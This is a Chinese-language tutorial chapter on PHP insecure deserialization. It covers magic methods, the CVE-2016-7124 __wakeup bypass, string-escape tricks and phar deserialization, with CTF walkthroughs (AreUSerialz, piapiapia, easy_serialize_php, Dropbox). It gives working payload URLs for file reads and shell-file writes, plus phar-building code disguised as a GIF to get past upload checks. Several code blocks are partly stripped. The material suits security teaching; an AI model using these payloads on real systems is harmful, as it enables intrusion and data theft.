# 13.不安全的反序列化
## 1. 简介
序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输。
反序列化和序列化是两个正好相反的过程。
序列化的目的是方便数据的传输和存储,json是为了传递数据的方便性.。
序列化和反序列化本身并不存在问题。但当反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
## 2. 漏洞产生原理
### 2.1 序列化与反序列化
首先看下`json_encode()`,`json_decode()`函数的作用
这边有一个book的数组
```
'book1'=>'Harry Potter',
'book2'=>'MR.Bean',
'Book3'=>'Python Cookbook',
'Book4'=>'History'
```
如果我们想传输这个数组怎么办呢,我们就可以请`json_encode()`这个函数帮助我们将这个数组序列化成一串字符串。
假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。
```php
'Harry Potter',
'Book2' => 'MR.Bean',
'Book3' => 'Python Cookbook',
'Book4' => 'History'
);
$json = json_encode($book);
echo $json;
?>
// {"Book1":"Harry Potter","Book2":"MR.Bean","Book3":"Python Cookbook","Book4":"History"}
```
如果想要序列化一个对象
```php
name . "吃饭";
}
}
$example = new DemoClass();
$example->name = "haha";
$example->sex = "woman";
$example->age = 18;
echo serialize($example)
?>
// O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}
```
然后如果反序列化回来的话
```php
name . "吃饭";
}
}
$NexExample = unserialize('O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}');
echo $NexExample->name;
$NexExample->eat();
?>
// hahahaha吃饭
```
那如果是对象中的非public属性呢
```php
name . "吃饭";
}
}
$example = new DemoClass();
$example->name = "haha";
$var = serialize($example);
echo $var;
?>
// O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:6:"*sex";s:3:"man";s:14:"Democlassage";i:18;}
```
可以发现sex属性前面的长度是6,其实protected属性的表示方式是在变量名前加上`%00*%00`
age是是由属性,长度是14,其实private属性的表示方式是在变量名前加上`%00类名%00`
注意:序列化不保存方法
反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行,这就很容易产生漏洞。
### 2.2 魔术方法
魔术方法命名是以符号开头的,比如 `__construct`,`__destruct`,`__toString`,`__sleep`,`__wakeup`等等。这些函数在某些情况下会自动调用。
```
__construct():具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。 此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
__sleep()方法在一个对象被序列化之前调用;
__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。
__get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时
__invoke() 调用函数的方式调用一个对象时的回应方法
__call 和__callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
```
运行下面的案例,理解这几个魔术方法的执行顺序
```php
';
}
public function __destruct(){
echo 'destruct run
';
}
public function __toString(){
echo 'toString run
';
return 'str';
}
public function __sleep(){
echo 'sleep run
';
return array();
}
public function __wakeup(){
echo 'wakeup run
';
}
}
echo 'new了一个对象,对象被创建,执行__construct
';
$test = new Test();
echo 'serialize了一个对象,对象被序列化,先执行__sleep,再序列化
';
$sTest = serialize($test);
echo '__wakeup(): unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源
';
?>
// new了一个对象,对象被创建,执行__construct
// construct run
// serialize了一个对象,对象被序列化,先执行__sleep,再序列化
// sleep run
// __wakeup(): unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源
// destruct run
```
再来个简化的版本
```php
a = "123";
echo "初始化时调用\r\n";
}
function __destruct()
{
echo "销毁时调用--";
echo $this->a . "\r\n";
}
}
$b = new A();
#$ser serialize($b);
#echo $ser;
$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';
$unser = unserialize($ser_test);
echo $b->b;
?>
// 初始化时调用
// b
// 销毁时调用--test
// 销毁时调用--123
```
### 2.3 实例
```php
test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
```
构造payload,形成反射型xss
```php
http://10.1.0.30:8000/demo1.php?test=O:1:"A":1:{s:4:"test";s:25:"";}
```

## 3. wakeup绕过
### 3.1 CVE-2016-7124
```php
target = "wakeup!";
}
function __destruct(){
$filename = __DIR__ . '/shell.php';
$fp = fopen($filename,"w");
fputs($fp,$this->target);
fclose($fp);
}
}
$test = $_GET['test'];
$test_unseria = unserialize($test);
echo "shell.php
";
$filename = __DIR__ . '/shell.php';
include($filename);
?>
```
代码正常的执行逻辑,应该是:`unserialize( )`会检查是否存在一个`__wakeup( )`方法。本例中存在,则会先调用`__wakeup()`方法,预先将对象中的target属性赋值为"wakeup!"。注意,不管用户传入的序列化字符串中的target属性为何值,wakeup()都会把$target的值重置为"wakeup!"。最后程序运行结束,对象被销毁,调用`__destruct()`方法,将target变量的值写入文件shell.php中。这样shell.php文件中的内容就是字符串"wakeup"。
```php
http://10.1.0.30:8000/demo2.php?test=O:1:"A":1:{s:6:"target";s:4:"test";}
```

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过`__wakeup`的执行,payload如下
```
http://localhost:8080/demo2.php?test=O:1:"A":2:{s:6:"target";s:18:"";}
```

### 3.2 [网鼎杯 2020 青龙组]AreUSerialz
```php
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
```
先来理解一下源码:
这里先判断存不存在str传参,存在的话先拿去`is_valid`函数过滤一下,这里`is_valid`函数的作用是检查一下str字符串里面有没有存在不可打印的字符。ord函数是打印第一个字符的ASCII码必须在32到125之间
然后进入反序列化,这里反序列化后生成一个序列化对象,但是不触发任何函数,然后进程结束,序列化对象销毁,触发`__destruct()`,判断op值如果强等于“2”则把op重置为“1”,注意这里的“2”是字符串,然后把content置空,执行`process()`函数,进入`process()`函数后先判断op,op等于“1”进入write函数,op等于“2”进入read函数(write函数实现一个文件写入的功能,read函数实现一个文件读取的功能)
这里我们需要进入read函数读取flag,所以需要让进入`process()`函数的op值为2,但是我们从一开始传入op为“2”时,在进入`process()`函数之前会在`__destruct()`被重置为1,所以我们需要绕过这个重置1
这里我们用到了强等于和弱等于,这里的`__destruct`函数是`==="2"`,在`process()`函数里面是`=="2"`
数字2不强等于字符串2,但是数字2弱等于字符串2,所以我们可以op设置为数字2,在destruct函数时2不强等于“2”,所以op不会被重置,进入`process()`函数后op值2弱等于“2”,所以进入read函数进行读取flag.php
所以构造poc生成序列化字符串,在ctf比赛中,可能还需要读取nginx或者apache或者日志文件,来获取绝对路径
```php
```
生成payload
```
http://10.1.0.30:8000/?str=
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/read=convert.base64-encode/resource=/www/flag.php";s:7:"content";s:0:"";}
```
把base64进行解码,得到flag
## 4. 反序列化字符逃逸
### 4.1 前置知识
**特点1**:
php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以";}结束的,那如果把";}添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
**特点2**:
长度不对应会报错
**漏洞产生**:
反序列化之所以存在字符逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。
**漏洞常见条件**:
序列化后过滤再去反序列化
### 4.2 替换后变长
#### 4.2.1 原理分析
替换修改后导致序列化字符串变长
示例代码:
```php
```
这里我们的目的就是间接通过反序列化改变pass的值
我们先理解代码执行顺序,这里是先序列化,然后再用序列化完的字符串进行过滤
所以当name的值为aaaabb的时候,过滤完name的值是aaaaccc,七个字符,但是序列化字符串依然认为name的值是6个,所以根据上面前置知识的特性二,这里反序列化失败,var_dump($c)的结果是bool(false)
```php
// 运行结果
O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
PHP Notice: unserialize(): Error at offset 33 of 61 bytes in /config/workspace/test.php on line 15
bool(false)
```
但是我们可以利用特性一去闭合,当我们让name的值为`";s:4:"pass";s:6:"hacker";}`
```php
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
// ["name"]=>
// string(27) "";s:4:"pass";s:6:"hacker";}"
// ["pass"]=>
// string(6) "123456"
// }
```
首先我们要记得要满足特性一和特性二才能反序列化成功!!!
我们来看生成的字符串`O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}`(这里需要理解生成的序列化字符串各个含义)
为什么现在生成的序列化字符串还能反序列化成功呢?因为我们的name的值现在认为我们有27个字符串,但是现在

(箭头处)是空的,所以name只能认为`";s:4:"pass";s:6:"hacker";}`当作了name的值,这个序列化字符串才能成功反序列化。所以我们的pass的值还是输出了123456.但是我们是想把`";s:4:"pass";s:6:"hacker";}`当作序列化字符串里面的一部分去执行,让pass变成hacker。
所以我们利用到了fileter函数,这个过滤函数看似想增加代码的安全性,实际上是增加了代码的危险性。
可以看到`";s:4:"pass";s:6:"hacker";}`是27个字符串,所以我们使name的值为
```
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";},
```
来分析这27个bb,经过第一步序列化后为
```
O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
```
首先这里name的值的字符串数字为81,然后看到filter函数过滤后为
```
O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
```
变成了81个c,刚好就是原来让name的字符串个数81正确,而且;}可以在hacker后面闭合(图中箭头所指的;}),这符合了前置知识里面的两个特性,可以成功执行,然后后面的";s:4:"pass";s:6:"123456";}就可以废弃了,这便实现了间接修改了pass的值
注:这里序列化后
```
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}
```
是name的值,81个值
经过filter函数过滤后,前54个c就相当于54个b,多出来的27个字符c,把27个字符`";s:4:"pass";s:6:"hacker";}`顶到后面了,到这里序列化语句就因为`;}`截止了,且name的字符串数81为81个c,符合特性二,可以反序列化成功。后面`";s:4:"pass";s:6:"123456";}`被顶出去废弃了
```php
// O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
// ["name"]=>
// string(81) "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"
// ["pass"]=>
// string(6) "hacker"
// }
```
总结:这里其实就是利用了filter函数可以替换增加字符串,每增加一个bb,在过滤函数filter替换之后会多一个字符串,我们需要构造的payload: `";s:4:"pass";s:6:"hacker";}`是27个字符串,所以我们加上27个bb是为了多出27个字符
#### 4.2.2 [0CTF 2016]piapiapia
环境搭建
```
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:piapia
```
思路就是目录扫描,然后发现`www.zip`,明显是网站备份,所以直接下载,然后开始代码审计
查看代码
index.php是用于验证账号密码正确,然后跳转到profile.php,在profile.php中看到涉及了反序列化函数unserialize(),反序列化的几个变量是上传文件处几个参数
将剩下的几个代码也拿出来分析一下,有助于后面的过程,要注意在config.php中发现了flag的线索,所以下面的目的就是要读取到flag这个文件。
代码逻辑都看完后,尝试seay自动审计看看

总结出三处危险函数利用,`profile.php`处的`unserialize`和`file_get_contents`和`update.php`的serialize
可以看到这里将变量`$profile['photo']`中的内容(也就是上传的文件)读取后进行base64编码,我们全局搜索一下这个变量


看到变量`$profile['photo']`是文件上传控制的但是被经过md5加密了,没办法直接传,结合反序列化函数和前面看到的filter的那些正则匹配替换函数,我们可以试着尝试反序列化的字符逃逸。
先反过来跟踪传输变量`$profile`的方法`update_profile()`

这里看到经过过滤后调用`update()`更新数据,跟踪`update()`

`update()`函数是把`$profile`变量更新放入数据库,到这里追踪就断了
下面追踪一下`$profile`变量有什么相关代码


可以看到`$profile`变量是`$user`的`show_profile`函数传过来的,跟进去`class.php`下,user类里面

user类继承了mysql类,这里先调用了父类的filter函数。下面看下filter函数在过滤的时候做了什么

这里是替换字符串中的单引号和反斜杠为下划线 ,并且替换多个字符串为hacker。implode函数是表示把数组拼接起来,拼接符是 “|”:
然后show_profile里面又调用了父类的select函数

看到这里的数据库操作就可以和前面断了的链连接起来了
调用链从后往前推为:
`update.php接收传参->update_profile()->class.php的update()->数据库操作->class.php的select()->show_profile()->profile.php的file_get_contents()`
思路:在 update.php 接收上传文件传参,然后在`update_profile()`里面执行序列化函数和过滤函数以及update()更新数据库,接着`show_profile()`通过`parent::select()`取到` $profile `变量,并把`$object-<profile`变量`return`返回,最后返回的`$object-<profile`变量在`profile.php`被赋值给`$profile`之后反序列化并放到`file_get_contents()`读取文件
整理好思路后看到序列化函数,反序列化以及过滤函数就可以联系到字符逃逸了。
现在我们需要让`file_get_contents()`读取`config.php`,但是变量`$profile['photo']`被经过md5加密了,没办法直接传,我们看上他的上一个参数nickname,因为这里是序列化之后再经过filter函数替换过滤,我这也是字符逃逸的一个关键条件
绕过:
先看看两个过滤处,一个是`preg_replace`替换函数,一个是正则匹配函数
第一处`preg_replace`替换:

这里可以看到把select,insert,update等字符串替换成hacker,其他都是6个字符串,和hacker一样,并不能让字符串增多,但这里有一个where是五个字符串,替换成hacker后相当于多了一个字符串,如果我们多写几个where,就能多出多个字符串,多出来的字符串可以构造语句形成字符逃逸。
第二处正则匹配函数:

这里先对它进行了正则,这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面,所以是非的意思,不是开始的意思,preg_match只能处理字符串,当传入的subject是数组时会返回false,所以我们传入数组可以绕过
注:这里传数组的payload,闭合就和直接传字符串不一样,这里数组的payload是`";}s:5:"photo";s:10:"config.php";}`
而这个payload有34个字符,所以我们使用where来让反序列化可以进行
```
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
```
随便注册个用户,然后来到文件上传的地方

然后修改nickname

成功拿到flag

因为此处是模拟CTF环境,所以flag为空,但是看到数据库密码等信息,也就意味着成功了

### 4.3 替换后变短
#### 4.3.1 原理分析
替换之后导致序列化字符串变短
简单示例代码:
```php
';
print("name:".$fake['name'].'
');
print("sign:".$fake['sign'].'
');
print("number:".$fake['number'].'
');
?>
```
这段代码是接收了参数name和sign,且number是固定的,经过了序列化=>正则匹配替换字符串减少=>反序列化的过程后输出结果,我们的目的就是通过控制传参name和sign,间接改变number
我们继续像上文一样构造在sign中传`";s:6:"number";s:4:"2000";}`看看闭合

这样子直接加入显然是不行的,由于sign的字符串个数为27,所以后面横线处的payload被当作了字符串sign的值,而没有被当作序列化语句去反序列化,所以我们还是需要过滤函数了给我们实现字符逃逸
构造payload:`?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}`

由于一个填写了6个test,所以name的长度就是24,所以在sign处随便写点什么来凑数,让上图所示部分长度是24即可。当test被替换掉之后,就正好让反序列化的规则满足了。
#### 4.3.2 [安洵杯 2019]easy_serialize_php
环境部署
```
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:easyserialize
```
理解一下代码:
先接收一个f的GET传参
filter函数是过滤函数,正则匹配替换字符串,字符逃逸的条件之一
extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个函数变为post传参)
看到传phpinfo提示可能有一些东西,进去看看
很明显是要读取这个文件,代码里读取文件的地方在这里:
额,也就是说,`$function`必须等于`show_image`。
读取的是base64解码后的`$userinfo['img']`,`$userinfo`的值是`$serialize_info`的反序列化对象,`$serialize_info`是经过自定义函数过滤的序列化后的`$_SESSION`。


这个自定义函数filter惹祸了,考察了知识点:反序列化字符逃逸。
想知道正常的反序列化之后可以复制代码到本地搭建,然后打印序列化后的字符串
```php
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
```
**键名逃逸**
源码中存在对序列化后的字符串进行过滤的代码

所以即使键名中存在符合要求的字符串都会被替换

可以对键名进行逃逸
过滤前是这样的(其中`ZDBnM19mMWFnLnBocA==`是`d0g3_f1ag.php`的base64编码)
```php
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```
过滤后是这样的
```php
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```
对比完发现过滤前键名是phpflag,键值是后面48个字符串
过滤后phpflag没了,键名就变成了`";s:48:`但是后面我们构造的img键值对是需要被反序列化的,已经是一对了,键名`";s:48`它没有键值,所以我们应该给他一个键值`;s:1:"1`键值名凑和`";s:48:`一样七个字符就好了,所以我们应该构造payload:
```php
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```
在源码当中发现新的线索

看到提示我们新路径flag在`/d0g3_fllllllag`,将`/d0g3_fllllllag`去base64加密得到,`L2QwZzNfZmxsbGxsbGFn`

**键值逃逸**
payload
先构造function为`a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}`
至于为什么有个`a`,看下图,选中部分就是想要让flag被替代的部分,正好是23个缺1个,用a来占位置的

payload为
```php
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```

获取flag
```php
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
```

## 5. phar反序列化
### 5.1 前置知识
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
首先了解一下phar文件的结构,一个phar文件由四部分构成:
**a stub**
可以理解为一个标志,格式为`xxx<?php xxx; __HALT_COMPILER();?>`,前面内容不限,但必须以`__HALT_COMPILER();?>`来结尾,否则phar扩展将无法识别这个文件为phar文件。
**a manifest describing the contents**
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
| Size in bytes | Description |
| ------------------------------------- | ------------------------------------------------------------ |
| 4 bytes | Length of manifest in bytes (1 MB limit) |
| 4 bytes | Number of files in the Phar |
| 2 bytes | API version of the Phar manifest (currently 1.0.0) |
| 4 bytes | Global Phar bitmapped flags |
| 4 bytes | Length of Phar alias |
| ?? | Phar alias (length based on previous) |
| 4 bytes | Length of Phar metadata (0 for none) |
| ?? | Serialized Phar Meta-data, stored in [serialize()](https://www.php.net/manual/en/function.serialize.php) format(注意这一条!) |
| at least 24 * number of entries bytes | entries for each file |
**the file contents**
被压缩文件的内容。
**[optional] a signature for verifying Phar integrity (phar file format only)**
签名,放在文件末尾,格式如下:
| Length in bytes | Description |
| --------------- | ------------------------------------------------------------ |
| varying | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. The length of an OPENSSL signature depends on the size of the private key. |
| 4 bytes | Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0003 is used to define an SHA256 signature, and 0x0004 is used to define an SHA512 signature. The SHA256 and SHA512 signature support is available as of API version 1.1.0. 0x0010 is used to define an OPENSSL signature, what is available as of API version 1.1.1, if OpenSSL is available. |
| 4 bytes | Magic GBMB used to define the presence of a signature. |
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
| fileatime | filectime | file_exists | file_get_contents |
| ----------------- | ------------- | ------------ | ----------------- |
| file_put_contents | file | filegroup | fopen |
| fileinode | filemtime | fileowner | fileperms |
| is_dir | is_executable | is_file | is_link |
| is_readable | is_writable | is_writeable | parse_ini_file |
| copy | unlink | stat | readfile |
**利用方式**
首先生成一个phar文件,将一个类进行序列化
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
```php
startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
```
然后如下代码就会触发`__destruct`的方法
```php
```
**phar伪造成其他格式的文件**
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是`__HALT_COMPILER();?>`这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
```php
startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
// 查看文件类型,可以看到被识别为图片
// abc@9a0d8215ec46:~/workspace$ file phar.phar
// phar.phar: GIF image data, version 89a, 16188 x 26736
```
采用这种方法可以绕过很大一部分上传检测。
**漏洞利用条件**
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
**绕过方式**
当环境限制了phar不能出现在前面的字符里。可以使用`compress.bzip2://和compress.zlib://`等绕过
```php
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
```
### 5.2 [CISCN2019 华北赛区 Day1 Web1]Dropbox
环境部署
```
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:dropbox
```
进入题目后是一个登录框,可以注册,所以先注册进去看看先不试试注入

可以看到有上传文件和文件删除文件下载功能,自然就试试能不能文件下载flag文件,但是读不到,就先查看index.php文件
不过要注意的是,文件都放在上上级目录了

查看删除部分的代码,发现还有个delete.php文件

根据提示查看class.php文件

这个利用点 `file_get_contents` 没有对关键字进行过滤,所以我们肯定是利用这个函数来获取flag 。
首先是定义的 close 函数,我们跳转到哪里调用了这个close()
跟进代码,看到是User类 的`__destrust() `调用了 close()
____
简单的逻辑 就是: `User->__destruct() =>File -> close() -> 读取flag`。
但是调用了并没有回显
class.php 有一个 `__call() `方法可以使用
如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
注意到 User类中在

`__destruct`时调用了close(),按原逻辑,`$db`应该是mysqli即数据库对象,但是我们可以构造`$db`指定为 File对象,这样就可以读取到文件了。
可读取到文件不能呈现给我们,注意到` __call`魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 `$this->results[$file->name()][$func]`,刚好我们利用这一点:让 `$db` 为 `FileList` 对象,当 $db销毁时,触发` __destruct`,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results
```
// 思路是这样的
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。
// 通过delete.php将结果返回
__destruct正好会将 $this->results[$file->name()][$func]的内容打印出来
```
生成payload
```php
db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","test"); //添加压缩文件,文件名字为shell.txt,内容为snowy
$phar->stopBuffering();
```
修改后缀为.gif然后上传

抓取delete.php的数据包,修改post提交的数据,然后得到flag

## 6. session反序列化
### 6.1 前置知识
理解php的session之前先了解一下session是什么
**Session:**
在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。不过不同语言的会话机制可能有所不同。
**PHP session:**
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以session 的安全性相对较高。
**session的工作流程:**
当第一次访问网站时,Session_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
**seesion_start()的作用:**
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
**php.ini中一些Session配置:**
1. `session.save_path=""` --设置session的存储路径
2. `session.save_handler=""`--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
3. `session.auto_start boolen`--指定会话模块是否在请求开始时启动一个会话默认为0不启动
4. `session.serialize_handler string`--定义用来序列化/反序列化的处理器名字。默认使用php
常见的`php-session`存放位置有:
1. `/var/lib/php5/sess_PHPSESSID`
2. `/var/lib/php7/sess_PHPSESSID`
3. `/var/lib/php/sess_PHPSESSID`
4. `/tmp/sess_PHPSESSID`
5. `/tmp/sessions/sess_PHPSESSED`
6. 在php.ini里查找`session.save_path`,也可以在这里更改路径
`session.serialize_handler`定义的引擎有三种,如下表所示:
| **处理器名称** | **存储格式** |
| -------------- | ------------------------------------------------------------ |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
| php_serialize | 经过serialize()函数序列化处理的数组 |
注:自 PHP 5.5.4 起可以使用 `_phpserialize`
